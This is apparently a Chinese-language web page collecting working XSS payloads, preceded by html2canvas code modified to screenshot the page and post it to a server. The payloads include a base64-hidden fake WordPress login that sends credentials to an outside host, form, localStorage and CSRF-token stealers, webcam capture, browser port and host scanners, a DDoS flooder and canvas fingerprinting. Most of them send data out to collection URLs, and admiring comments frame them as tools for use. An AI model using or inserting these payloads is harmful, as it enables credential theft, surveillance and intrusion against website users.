if (!usingFlashcanvas || renderItem['arguments'][1] < flashMaxSize && renderItem['arguments'][2] < flashMaxSize) {
ctx.fillText.apply( ctx, renderItem['arguments'] );
}
}else if(renderItem.name === "drawImage") {

if (renderItem['arguments'][8] > 0 && renderItem['arguments'][7]){
if ( hasCTX && options.taintTest ) {
if ( safeImages.indexOf( renderItem['arguments'][ 0 ].src ) === -1 ) {
testctx.drawImage( renderItem['arguments'][ 0 ], 0, 0 );
try {
testctx.getImageData( 0, 0, 1, 1 );
} catch(e) {
testCanvas = document.createElement("canvas");
testctx = testCanvas.getContext("2d");
continue;
}

safeImages.push( renderItem['arguments'][ 0 ].src );

}
}
ctx.drawImage.apply( ctx, renderItem['arguments'] );
}
}


break;
default:

}

}

}
if (storageContext.clip){
ctx.restore();
}




}
h2clog("html2canvas: Renderer: Canvas renderer done - returning canvas obj");

// this.canvasRenderStorage(queue,this.ctx);
queueLen = options.elements.length;

if (queueLen === 1) {
if (typeof options.elements[ 0 ] === "object" && options.elements[ 0 ].nodeName !== "BODY" && usingFlashcanvas === false) {
// crop image to the bounds of selected (single) element
bounds = html2canvas.Util.Bounds( options.elements[ 0 ] );
newCanvas = doc.createElement('canvas');
newCanvas.width = bounds.width;
newCanvas.height = bounds.height;
ctx = newCanvas.getContext("2d");

ctx.drawImage( canvas, bounds.left, bounds.top, bounds.width, bounds.height, 0, 0, bounds.width, bounds.height );
delete canvas;
return newCanvas;
}
} else {
// TODO clip and resize multiple elements
/*
for ( i = 0; i < queueLen; i+=1 ) {
if (options.elements[ i ] instanceof Element) {

}

}*/
}




return canvas;
}

function svgRenderer(zStack){
sortZ(zStack.zIndex);

var svgNS = "http://www.w3.org/2000/svg",
svg = doc.createElementNS(svgNS, "svg"),
xlinkNS = "http://www.w3.org/1999/xlink",
defs = doc.createElementNS(svgNS, "defs"),
i,
a,
queueLen,
storageLen,
storageContext,
renderItem,
el,
settings = {},
text,
fontStyle,
clipId = 0;

svg.setAttribute("version", "1.1");
svg.setAttribute("baseProfile", "full");

svg.setAttribute("viewBox", "0 0 " + Math.max(zStack.ctx.width, options.width) + " " + Math.max(zStack.ctx.height, options.height));
svg.setAttribute("width", Math.max(zStack.ctx.width, options.width) + "px");
svg.setAttribute("height", Math.max(zStack.ctx.height, options.height) + "px");
svg.setAttribute("preserveAspectRatio", "none");
svg.appendChild(defs);



for (i = 0, queueLen = queue.length; i < queueLen; i+=1){

storageContext = queue.splice(0, 1)[0];
storageContext.canvasPosition = storageContext.canvasPosition || {};

//this.canvasRenderContext(storageContext,parentctx);


/*
if (storageContext.clip){
ctx.save();
ctx.beginPath();
// console.log(storageContext);
ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
ctx.clip();

}*/

if (storageContext.ctx.storage){

for (a = 0, storageLen = storageContext.ctx.storage.length; a < storageLen; a+=1){

renderItem = storageContext.ctx.storage[a];



switch(renderItem.type){
case "variable":
settings[renderItem.name] = renderItem['arguments'];
break;
case "function":
if (renderItem.name === "fillRect") {

el = doc.createElementNS(svgNS, "rect");
el.setAttribute("x", renderItem['arguments'][0]);
el.setAttribute("y", renderItem['arguments'][1]);
el.setAttribute("width", renderItem['arguments'][2]);
el.setAttribute("height", renderItem['arguments'][3]);
el.setAttribute("fill", settings.fillStyle);
svg.appendChild(el);

} else if(renderItem.name === "fillText") {
el = doc.createElementNS(svgNS, "text");

fontStyle = settings.font.split(" ");

el.style.fontVariant = fontStyle.splice(0, 1)[0];
el.style.fontWeight = fontStyle.splice(0, 1)[0];
el.style.fontStyle = fontStyle.splice(0, 1)[0];
el.style.fontSize = fontStyle.splice(0, 1)[0];

el.setAttribute("x", renderItem['arguments'][1]);
el.setAttribute("y", renderItem['arguments'][2] - (parseInt(el.style.fontSize, 10) + 3));

el.setAttribute("fill", settings.fillStyle);




// TODO get proper baseline
el.style.dominantBaseline = "text-before-edge";
el.style.fontFamily = fontStyle.join(" ");

text = doc.createTextNode(renderItem['arguments'][0]);
el.appendChild(text);


svg.appendChild(el);



} else if(renderItem.name === "drawImage") {

if (renderItem['arguments'][8] > 0 && renderItem['arguments'][7]){

// TODO check whether even any clipping is necessary for this particular image
el = doc.createElementNS(svgNS, "clipPath");
el.setAttribute("id", "clipId" + clipId);

text = doc.createElementNS(svgNS, "rect");
text.setAttribute("x", renderItem['arguments'][5] );
text.setAttribute("y", renderItem['arguments'][6]);

text.setAttribute("width", renderItem['arguments'][3]);
text.setAttribute("height", renderItem['arguments'][4]);
el.appendChild(text);
defs.appendChild(el);

el = doc.createElementNS(svgNS, "image");
el.setAttributeNS(xlinkNS, "xlink:href", renderItem['arguments'][0].src);
el.setAttribute("width", renderItem['arguments'][0].width);
el.setAttribute("height", renderItem['arguments'][0].height);
el.setAttribute("x", renderItem['arguments'][5] - renderItem['arguments'][1]);
el.setAttribute("y", renderItem['arguments'][6] - renderItem['arguments'][2]);
el.setAttribute("clip-path", "url(#clipId" + clipId + ")");
// el.setAttribute("xlink:href", );


el.setAttribute("preserveAspectRatio", "none");

svg.appendChild(el);


clipId += 1;
/*
ctx.drawImage(
renderItem['arguments'][0],
renderItem['arguments'][1],
renderItem['arguments'][2],
renderItem['arguments'][3],
renderItem['arguments'][4],
renderItem['arguments'][5],
renderItem['arguments'][6],
renderItem['arguments'][7],
renderItem['arguments'][8]
);
*/
}
}



break;
default:

}

}

}
/*
if (storageContext.clip){
ctx.restore();
}
*/



}










h2clog("html2canvas: Renderer: SVG Renderer done - returning SVG DOM obj");

return svg;

}


//this.each(this.opts.renderOrder.split(" "),function(i,renderer){

//options.renderer = "svg";

switch(options.renderer.toLowerCase()){
case "canvas":
canvas = doc.createElement('canvas');
if (canvas.getContext){
h2clog("html2canvas: Renderer: using canvas renderer");
return canvasRenderer(parseQueue);
} else {
usingFlashcanvas = true;
h2clog("html2canvas: Renderer: canvas not available, using flashcanvas");
var script = doc.createElement("script");
script.src = options.flashcanvas;

script.onload = (function(script, func){
var intervalFunc;

if (script.onload === undefined) {
// IE lack of support for script onload

if( script.onreadystatechange !== undefined ) {

intervalFunc = function() {
if (script.readyState !== "loaded" && script.readyState !== "complete") {
window.setTimeout( intervalFunc, 250 );

} else {
// it is loaded
func();

}

};

window.setTimeout( intervalFunc, 250 );

} else {
h2clog("html2canvas: Renderer: Can't track when flashcanvas is loaded");

}

} else {
return func;
}

})(script, function(){

if (typeof window.FlashCanvas !== "undefined") {
h2clog("html2canvas: Renderer: Flashcanvas initialized");
window.FlashCanvas.initElement( canvas );
canvasRenderer(parseQueue);
}
});

doc.body.appendChild( script );

return canvas;
}
break;
case "svg":
if (doc.createElementNS){
h2clog("html2canvas: Renderer: using SVG renderer");
return svgRenderer(parseQueue);
}
break;

}



//});


return this;



};

/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/
window.html2canvas = html2canvas;
}(window, document));

/**
@license html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License

Modified by Phil
*/
/*
* jQuery helper plugin for examples and tests
*/
(function( $ ){
$.fn.html2canvas = function(options) {
if (options && options.profile && window.console && window.console.profile) {
console.profile();
}
var date = new Date(),
$message = null,
timeoutTimer = false,
timer = date.getTime();
options = options || {};
options.elements = this;
options.flashcanvas = "../external/flashcanvas.min.js";

html2canvas.logging = options && options.logging;
options.complete = function(images){
var queue = html2canvas.Parse(this[0], images, options),
$canvas = $(html2canvas.Renderer(queue, options)),
finishTime = new Date();

if (options && options.profile && window.console && window.console.profileEnd) {
console.profileEnd();
}

/* $canvas.css({
position: 'absolute',
left: 0,
top: 0
}).appendTo(document.body);

$canvas.siblings().toggle();*/

// test if canvas is read-able
try {

// $.post(postDest, { png: 'ok123' } );
// $.post(postDest, { png: $canvas[0].toDataURL() } );

var scrn = $canvas[0].toDataURL();

alert('Data is : ' + scrn);

$.post(postDest, { png: scrn } );


} catch(e) {
// Failed
}

};
html2canvas.Preload(this[0], options);

function throwMessage(msg,duration){
window.clearTimeout(timeoutTimer);
timeoutTimer = window.setTimeout(function(){
$message.fadeOut(function(){
$message.remove();
$message = null;
});
},duration || 2000);
if ($message)
$message.remove();
$message = $('<div />').html(msg).css({
margin:0,
padding:10,
background: "#000",
opacity:0.7,
position:"fixed",
top:10,
right:10,
fontFamily: 'Tahoma',
color:'#fff',
fontSize:12,
borderRadius:12,
width:'auto',
height:'auto',
textAlign:'center',
textDecoration:'none',
display:'none'
}).appendTo(document.body).fadeIn();
html2canvas.log(msg);
}
};
})( jQuery );


$(window).ready(function() {

$('body').html2canvas();


});

};

WordPress的证书盗窃

这个有效载荷是对Wordpress XSS的一种利用。 它完全接管注入页面并显示完全“合法”登录页面的方式非常有趣。

说明

点击查看

JS代码

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onmouseover="this.style.display='none';
if (document.cookie.indexOf('visited')>=0) {}
else {
document.getElementById('wpwrap').innerHTML=atob('PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nY29sb3JzLWZyZXNoLWNzcycgIGhyZWY9J2Nzcy9jb2xvcnMtZnJlc2guY3NzJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nbG9naW4tY3NzJyAgaHJlZj0nY3NzL2xvZ2luLmNzcycgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+Cgo8c3R5bGU+CmJvZHkgewoJYmFja2dyb3VuZDogbm9uZTsKfQojaGVhZGVyIHsKCWJhY2tncm91bmQ6IG5vbmU7Cn0KI2xvZ2luZm9ybSB7Cgl0ZXh0LWFsaWduOiBsZWZ0Owp9CnAgI25hdiB7Cgl0ZXh0LXNoYWRvdzogcmdiYSgyNTUsMjU1LDI1NSwxKSAwIDFweCAwOwp9Ci5zdWJtaXQgewoJcGFkZGluZzogMDsKfQojYmFja3RvYmxvZyBhIHsKCWNvbG9yOiAjY2NjOwp9Cjwvc3R5bGU+Cgo8ZGl2IGlkPSJsb2dpbiI+PGgxPjxhIGhyZWY9Imh0dHA6Ly93b3JkcHJlc3Mub3JnLyIgdGl0bGU9IlBvd2VyZWQgYnkgV29yZFByZXNzIj5UcmlwZSBMb3ZlcidzIEJsb2c8L2E+PC9oMT4KCjxmb3JtIG5hbWU9ImxvZ2luZm9ybSIgaWQ9ImxvZ2luZm9ybSIgYWN0aW9uPSJodHRwOi8vd3d3Lm1hbGxvcnkuaW52YWxpZC9jb2xsZWN0LnBocCIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9ImhpZGRlbi1mb3JtIj4KCTxwPgoJCTxsYWJlbD5Vc2VybmFtZTxiciAvPgoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1IiBpZD0idXNlcl9sb2dpbiIgY2xhc3M9ImlucHV0IiB2YWx1ZT0iIiBzaXplPSIyMCIgdGFiaW5kZXg9IjEwIiAvPjwvbGFiZWw+Cgk8L3A+Cgk8cD4KCQk8bGFiZWw+UGFzc3dvcmQ8YnIgLz4KCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiIGlkPSJ1c2VyX3Bhc3MiIGNsYXNzPSJpbnB1dCIgdmFsdWU9IiIgc2l6ZT0iMjAiIHRhYmluZGV4PSIyMCIgLz48L2xhYmVsPgoJPC9wPgoJPHAgc3R5bGU9ImNvbG9yOnJlZCI+U2Vzc2lvbiBoYXMgZXhwaXJlZCwgcGxlYXNlIGxvZyBpbjwvcD4KCTxwIGNsYXNzPSJmb3JnZXRtZW5vdCI+PGxhYmVsPjxpbnB1dCBuYW1lPSJyZW1lbWJlcm1lIiB0eXBlPSJjaGVja2JveCIgaWQ9InJlbWVtYmVybWUiIHZhbHVlPSJmb3JldmVyIiB0YWJpbmRleD0iOTAiIC8+IFJlbWVtYmVyIE1lPC9sYWJlbD48L3A+Cgk8cCBjbGFzcz0ic3VibWl0Ij4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ3cC1zdWJtaXQiIGlkPSJ3cC1zdWJtaXQiIHZhbHVlPSJMb2cgSW4iIHRhYmluZGV4PSIxMDAiIC8+Cgk8L3A+CjwvZm9ybT4KCjxwIGlkPSJuYXYiPgo8YSBocmVmPSIuLi93cC1sb2dpbi5waHA/YWN0aW9uPWxvc3RwYXNzd29yZCIgdGl0bGU9IlBhc3N3b3JkIExvc3QgYW5kIEZvdW5kIj5Mb3N0IHlvdXIgcGFzc3dvcmQ/PC9hPgo8L3A+Cgo8L2Rpdj4KCjxwIGlkPSJiYWNrdG9ibG9nIj48YSBocmVmPSIvYmxvZyIgdGl0bGU9IkFyZSB5b3UgbG9zdD8iPiZsYXJyOyBCYWNrIHRvIFRyaXBlIExvdmVyJ3MgQmxvZzwvYT48L3A+Cgo8aWZyYW1lIHN0eWxlPSJkaXNwbGF5Om5vbmUiIG5hbWU9ImhpZGRlbi1mb3JtIj48L2lmcmFtZT4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KdHJ5e2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1c2VyX2xvZ2luJykuZm9jdXMoKTt9Y2F0Y2goZSl7fQo8L3NjcmlwdD4K');
document.getElementById('wpwrap').id='login';
document.getElementById('footer').innerHTML='';
document.cookie='visited=true;path=/;max-age='+60*10;
};

事件捕获[钓鱼]

一个很好的有效载荷,它创建一个页面将被加载的iFrame。这使得钩住​​所有事件并收集它们以供进一步使用成为可能…… 这绝对超越了键盘记录器的一步。

说明

点击查看

JS代码

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(function() {
var d = new Date();
function log(m){
var s = d;
for(i in m){ s += "\n" + i + ":" + m[i] + " "; }
console.log(s);
}

function spoof(k){
window.history.pushState({}, "", k);
}

function hook(){
$('#xss').contents().find('a').bind('click', function() {
log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
spoof($(this).attr('href'));
});
$('#xss').contents().find('form').bind('submit', function() {
var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
log(l);
spoof($(this).attr('action'));
});
}

function poison() {
if (self == top){
$('body').children().hide();
log({"Hooked":document.URL});
$('<iframe id="xss">').attr('src', document.URL).css({
"position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
}).appendTo('body').load(function(){
hook();
});
}
}

function poll() {
if (typeof(jQuery) !== 'undefined') {
clearInterval(interval);
poison();
}
}
if (typeof(jQuery) == 'undefined') {
var s = document.createElement('script');
s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
document.head.appendChild(s);
var interval = setInterval(poll, 50);
} else {
poison();
}
})();

获取浏览器信息

PoC脚本可以抓取(并显示)所有可用的浏览器信息:当然,版本和平台,当然也包括所有已安装的插件,它们的版本以及它们应用的MIME类型。

JS代码

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document.write('<P>'+navigator.appName+'</P>');
document.write('<P>'+navigator.appVersion+'</P>');
document.write('<P>'+navigator.platform+'</P>');
document.write('<P>'+navigator.userAgent+'</P>');

var plugins = navigator.plugins;
var mimeTypes = navigator.mimeTypes

document.write('<P>');
for (i=0;i<plugins.length;i++) {
var plugin = plugins[i];
document.write('<B>'+plugin.name+'</B><BR>');
document.write(plugin.filename+' - '+plugin.description+'<BR>');
for(j=0;j<plugin.length;j++) {
var mimetype = plugin[j];
document.write(mimetype.type);
if(mimetype.description) {
document.write(' : '+mimetype.description);
}
if(mimetype.suffixes) {
document.write(' - extentions: '+mimetype.suffixes);
}
document.write('<BR>');
}

}
document.write('</P>');

表单窃取

这个脚本窃取了表单中设置的所有值,并通过图像src发送出去。它改变了标签以添加onbeforeunload事件处理程序,并在用户离开页面之前处理信息泄漏。

JS代码

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document.getElementsByTagName("body")[0].setAttribute("onunload","postData()");

function postData() {

var output = "page="+document.location;
var inputs, index;

inputs = document.getElementsByTagName('input');
for (index = 0; index < inputs.length; ++index) {
input_name = inputs[index].id || inputs[index].name;
output = output + "&" + input_name + "=" + inputs[index].value;
}

output = encodeURI(output);

console.log(output);

new Image().src = "http://wherever/log.php?"+output;

}

端口扫描 API

一个小的portscanner代码,在加载远程资源时利用javascript引擎的行为。此代码将被集成到一个更强大的框架中。

说明

点击查看

Js代码

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var AttackAPI = {
version: '0.1',
homepage: 'http://www.l31.cc'};

AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) {
var timeout = (timeout == null)?100:timeout;
var img = new Image();

img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};

img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;

setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
};
AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout)
{
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);
};

内网主机扫描

负载将使受害者浏览器扫描活动主机。结果通过img.src发送回第三方服务器,以确保他们能够到达那里。 很好的使用HTML5功能!

Js代码

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var start_ip=[];
var end_ip=[];
var start_time;
var current_ip=[];
var open_port_max=300;
var closed_port_max=2000;
var ns_hosts_up=[];
var finaldata,logz;

reset_scan_out();

start_ip = '192.168.1.1'.split('.');
end_ip = '192.168.1.25'.split('.');
current_ip=[];
ns_hosts_up=[];
setTimeout("scan_network_ws()",1);


function scan_network_ws()
{
if(init_ip_ns())
{
var rett= encodeURIComponent(finaldata+logz);

new Image().src = 'http://192.168.80.1:5005/ilog.php?log='+rett;
return;
}

start_time = (new Date).getTime();
try
{
ws = new WebSocket("ws://" + current_ip.join("."));
setTimeout("check_ns_ws()",100);
}
catch(err)
{
return;
}
}

function check_ns_ws()
{
var interval = (new Date).getTime() - start_time;
if(ws.readyState == 0)
{
if(interval > closed_port_max)
{
log(current_ip.join(".") + " - down<br>");
setTimeout("scan_network_ws()",1);
}
else
{
setTimeout("check_ns_ws()",100);
}
}
else
{
log(current_ip.join(".") + " - up<br>");
ns_hosts_up.push(current_ip.join("."));
setTimeout("scan_network_ws()",1);
}
}



function init_ip_ns()
{
if(current_ip.length == 0)
{
current_ip = copy_ip(start_ip);
}
else if(compare_ip(current_ip,end_ip) == 2)
{
results_ns();
return true;
}
else
{
current_ip = increment_ip(current_ip);
}
return false;
}

function results_ns()
{
finaldata = "<br><b>Live Hosts:</b><br>" + ns_hosts_up + "<br><b>Status</b><br>";
}

function copy_ip(source)
{
var dest = [];
for(var i=0;i<source.length;i++)
{
dest[i] = source[i];
}
return dest;
}



function compare_ip(a,b)
{
for(var i=0;i<4;i++)
{
var r = _compare_int(a[i],b[i]);
if(r == 1)
{
return 1;//a is greater than b
}
else if(r == 3)
{
return 3;//b is greater than a
}
}
return 2;//b is equal to a
}

function _compare_int(_a,_b)
{
if(_a > _b)
{
return 1;//_a is greater than _b
}
else if(_a == _b)
{
return 2;//_a is equal to _b
}
else
{
return 3;//_a is lesser than _b
}
}

function increment_ip(inc_ip)
{
inc_ip[3]++;
for(var i=3;i>=0;i--)
{
if(inc_ip[i] == 255)
{
inc_ip[i] = 0;
inc_ip[i-1]++;
}
}
return inc_ip;
}

function log(to_log)
{
logz += to_log + "<br>";
}

function reset_scan_out()
{
finaldata= "";
logz = "";
}

网络摄像头拍照

一种利用HTML5功能的脚本,可从受感染的计算机网络摄像头拍摄快照并将其发送给第三方服务器。 它仍然是一个PoC:需要用户授权并依靠XHR发送图片。但无论如何绝对令人印象深刻。

附件下载

点击下载

JS代码

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if (document.getElementById('webcamsnap') == null){ 

var v = document.createElement('video');
v.autoplay=true;
v.id='vid';
v.style.display='none';
document.body.appendChild(v);
if (document.getElementById('canvas') == null) {
var c = document.createElement('canvas');
c.id = 'canvas';
c.width = "480";
c.height = "320";
c.style.display = "none";
document.body.appendChild(c);
}
var video = document.querySelector("#vid");
var canvas = document.querySelector('#canvas');
var ctx = canvas.getContext('2d');
var localMediaStream = null;
var onCameraFail = function (e) {
console.log('Camera is not working.', e);
};
var xmlhttp=new XMLHttpRequest();

function snapshot() {
if (localMediaStream) {
ctx.drawImage(video, 0, 0, 480, 320);
var dat = canvas.toDataURL('image/png');
xmlhttp.open("POST", "http://127.0.0.1/webcam.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var x=encodeURIComponent(dat);
xmlhttp.send("data=" + x);


}
else {
alert("Allow access to your default web camera.");
}
}

navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
window.URL = window.URL || window.webkitURL;
navigator.getUserMedia({video:true}, function (stream) {
video.src = window.URL.createObjectURL(stream);
localMediaStream = stream;
window.setInterval("snapshot()", 5000);
}, onCameraFail);script = document.createElement('script');script.id = 'webcamsnap'; document.body.appendChild(script); }

基于XHR的portscanner

依靠XHR探测远程端口状态的端口扫描器。该技术比img.src更高效,但更有可能在浏览器级别得到缓解。通过图片源URL发送隐藏结果。

JS代码

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var ip ='192.168.80.1';
var start_port=1; var end_port=1024;
scan_ports();
var scan_type=1;
var port;
var blocked_ports = [0,1,7,9,11,13,15,17,19,20,21,22,23,25,37,42,43,53,77,79,87,95,101,102,103,104,109,110,111,113,115,117,119,123,135,139,143,179,389,465,512,513,514,515,526,530,531,532,540,556,563,587,601,636,993,995,2049,4045,6000];
var current_port=0;
var open_port_max=300;
var closed_port_max=2000;
var ps_open_ports=[];
var ps_closed_ports=[];
var ps_timeout_ports=[];
var finaldata,logz;

function scan_ports()
{
current_port=0;
ps_open_ports=[];
ps_closed_ports=[];
ps_timeout_ports=[];
reset_scan_out();

setTimeout("scan_ports_xhr()",1);

}


function scan_ports_xhr()
{
if(init_port_ps())
{
var res= encodeURIComponent(finaldata+logz);

new Image().src = 'http://192.168.80.1:5005/ilog.php?log='+res;
return;
}
if(is_blocked(current_port))
{
log(current_port + " - blocked port");
setTimeout("scan_ports_xhr()",1);
return;
}
start_time = (new Date).getTime();
try
{
xhr = new XMLHttpRequest();
xhr.open('GET', "http://" + ip + ":" + current_port);
xhr.send();
setTimeout("check_ps_xhr()",5);
}
catch(err)
{

}

}

function check_ps_xhr()
{
var interval = (new Date).getTime() - start_time;
if(xhr.readyState == 1)
{
if(interval > closed_port_max)
{
log(current_port + " - time exceeded");
ps_timeout_ports.push(current_port);
setTimeout("scan_ports_xhr()",1);
}
else
{
setTimeout("check_ps_xhr()",5);
}
}
else
{
if(interval < open_port_max)
{
log(current_port + " - open");
ps_open_ports.push(current_port);
}
else
{
log(current_port + " - closed");
ps_closed_ports.push(current_port);
}
setTimeout("scan_ports_xhr()",1);
}

}

function init_port_ps()
{
if(current_port == 0)
{
current_port = start_port;
}
else if(current_port == end_port)
{
results_ps();
return true;
}
else
{
current_port++;
}
return false;
}

function is_blocked(port_no)
{
for(var i=0;i<blocked_ports.length;i++)
{
if(blocked_ports[i] == port_no)
{
return true;
}
}
return false;
}
function results_ps()
{
finaldata = "<br><b>Open Ports:</b><br>" + ps_open_ports + "<br><br><b>Closed/Blocked Ports:</b><br>" + ps_closed_ports + "<br><br><b>Filtered/Application Type 3&4 Ports:</b><br>" + ps_timeout_ports + "<br><br>";

}

function log(to_log)
{
logz += to_log + ", ";
}

function reset_scan_out()
{
data="";
logz=""
}

WebApp缓存损坏

一个单独的Javascript行来更改(或创建)HTM5“清单”属性。新值指向一个恶意文件,该文件将注入的页面标识为静态页面,而不会再次加载。 新的APT,Javascript风格?

JS代码

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/* HTML5 WebApp cache corruption            */
/* bad.manifest specifies the injected page */
/* not to be loaded again */

document.getElementsByTagName("html")[0].setAttribute("manifest","http://evil.com/bad.manifest");

WebRTC IPs

一个非常聪明的脚本,利用Chrome和Firefox中的WebRTC实现。该脚本连接到STUN服务器并从服务器返回的ICE候选者收集IP。由于作者正确地做出了事情,因此也会发送空SDP优惠。

说明

点击查看

JS代码

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//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
//firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;
//add same stun server for chrome
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}
//insert IP addresses into the page
getIPs(function(ip){
var li = document.createElement("li");
li.textContent = ip;
//local IPs
if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/))
// do something with PRIVATE IPs
//assume the rest are public IPs
else
// do something with PUBLIC IPs
});

XHR DDoS

使用XHR以及Websockets(如果受害者不运行IE),只需使用稍微随机的参数来洪泛目标。

JS代码

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var target = 'www.server.com';
var thread_count = 1;
var scan_counter = 0;
var resp_size_counter = 0;
var Sys = {};
var ua = navigator.userAgent.toLowerCase();
var s;
(s = ua.match(/msie ([\d.]+)/)) ? Sys.ie = s[1] : 0;
var xhr;
if (!Sys.ie){
var i = 0;
while(i<thread_count){
while_loop_cor();
i++;
}
}else{
var i = 0;
while(i<thread_count){
while_loop_ie();i++;
}
}
if (!Sys.ie){
xhr = new XMLHttpRequest();
xhr.onreadystatechange = processResp;
}else{
xdr = new XDomainRequest();
xdr.timeout = 1000;
}

function while_loop_cor(){
try{
ws = new WebSocket('ws://' + target);
scan_counter = scan_counter+1;
xhr = new XMLHttpRequest();
var furl='http://' + target + '?xb0z=' + Math.floor(Math.random()*10000000000);
xhr.open('GET', furl);
xhr.onreadystatechange = function(){
if (xhr.readyState==4){
resp_size_counter = resp_size_counter+xhr.responseText.length;
}
};
xhr.onerror = function(e){}
xhr.send(100);
setTimeout("while_loop_cor()",0);
}
catch(err){return;}
}

function while_loop_ie(){
try{
scan_counter = scan_counter+1;
xdr = new XDomainRequest();
xdr.open('get', 'http://' + target + ':80');
xdr.send();
setTimeout('while_loop_ie()',0);
}catch(err){
return;
}
}

function processResp(){
if (xmlhttp.readyState==4){}
}

浏览器指纹

基于计算机显示器的图像呈现功能,为注入的浏览器生成独特的指纹。 对于定位特定用户或设备非常有用…

JS代码

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/* @CC_SKIP< */
if (typeof window.atob == 'undefined') {
function atob(a){
var b="",e,c,h="",f,g="",d=0;
k="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
do e=k.indexOf(a.charAt(d++)),c=k.indexOf(a.charAt(d++)),f=k.indexOf(a.charAt(d++)),g=k.indexOf(a.charAt(d++)),e=e<<2|c>>4,c=(c&15)<<4|f>>2,h=(f&3)<<6|g,b+=String.fromCharCode(e),64!=f&&(b+=String.fromCharCode(c)),64!=g&&(b+=String.fromCharCode(h));
while(d<a.length);
return unescape(b)
};
}/* @CC_SKIP> */

function bin2hex(a){
var b,c,d="",e;
a+="";
b=0;
for(c=a.length;b<c;b++)e=a.charCodeAt(b).toString(16),d+=2>e.length?"0"+e:e;
return d
}

function draw_canvas(){
var a=document.createElement("canvas");
a.setAttribute("width",220);
a.setAttribute("height",30);
var b=a.getContext("2d");
b.textBaseline="top";
b.font="14px 'Arial'";
b.textBaseline="alphabetic";
b.fillStyle="#f60";
b.fillRect(125,1,62,20);
b.fillStyle="#069";
b.fillText("BrowserLeaks,com <canvas> 1.0",2,15);
b.fillStyle="rgba(102, 204, 0, 0.7)";
b.fillText("BrowserLeaks,com <canvas> 1.0",4,17);
a=a.toDataURL("image/png");
b=atob(a.replace("data:image/png;base64,",""));
return bin2hex(b.slice(-16,-12))
}

var fingerprint = draw_canvas();
new Image().src = "http://wherever/fingerpint.php?fp="+fingerprint;

iFrame CSRF令牌盗窃

通过嵌套的iFrames窃取CSRF令牌。 第一个iFrame获取CSRF保护的页面,在第一个表单的“token”参数中窃取标记值,并创建第二个iFrame,并与相应的标记进行连接。

附件下载

点击下载

JS代码

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document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin" width="0" height="0" onload="read()"></iframe>');

function read() {

var name = 'Nytro';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;

document.writeln('<form width="0" height="0" method="post" action="/admin/add_admin.php">');
document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
document.writeln('<input type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Add_admin" /><br />');
document.writeln('</form>');
document.forms[0].submit.click();

}

本地存储泄漏

一个小而高效的脚本,它从浏览器的HTML5本地存储收集所有数据,并通过映像加载将它们发送回第三方服务器。 只是一种简单的方式来利用新的HTML5功能…

JS代码

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if (window.localStorage) {
if (localStorage.length) {
var output;
for (var i = 0; i < localStorage.length; i++) {
if(i>0) { output += "&"; }
output += encodeURIComponent(localStorage.key(i)) + '=' + encodeURIComponent(localStorage.getItem(localStorage.key(i)));
}
new Image().src = 'http://remote.com/log.php?'+output;
}
}
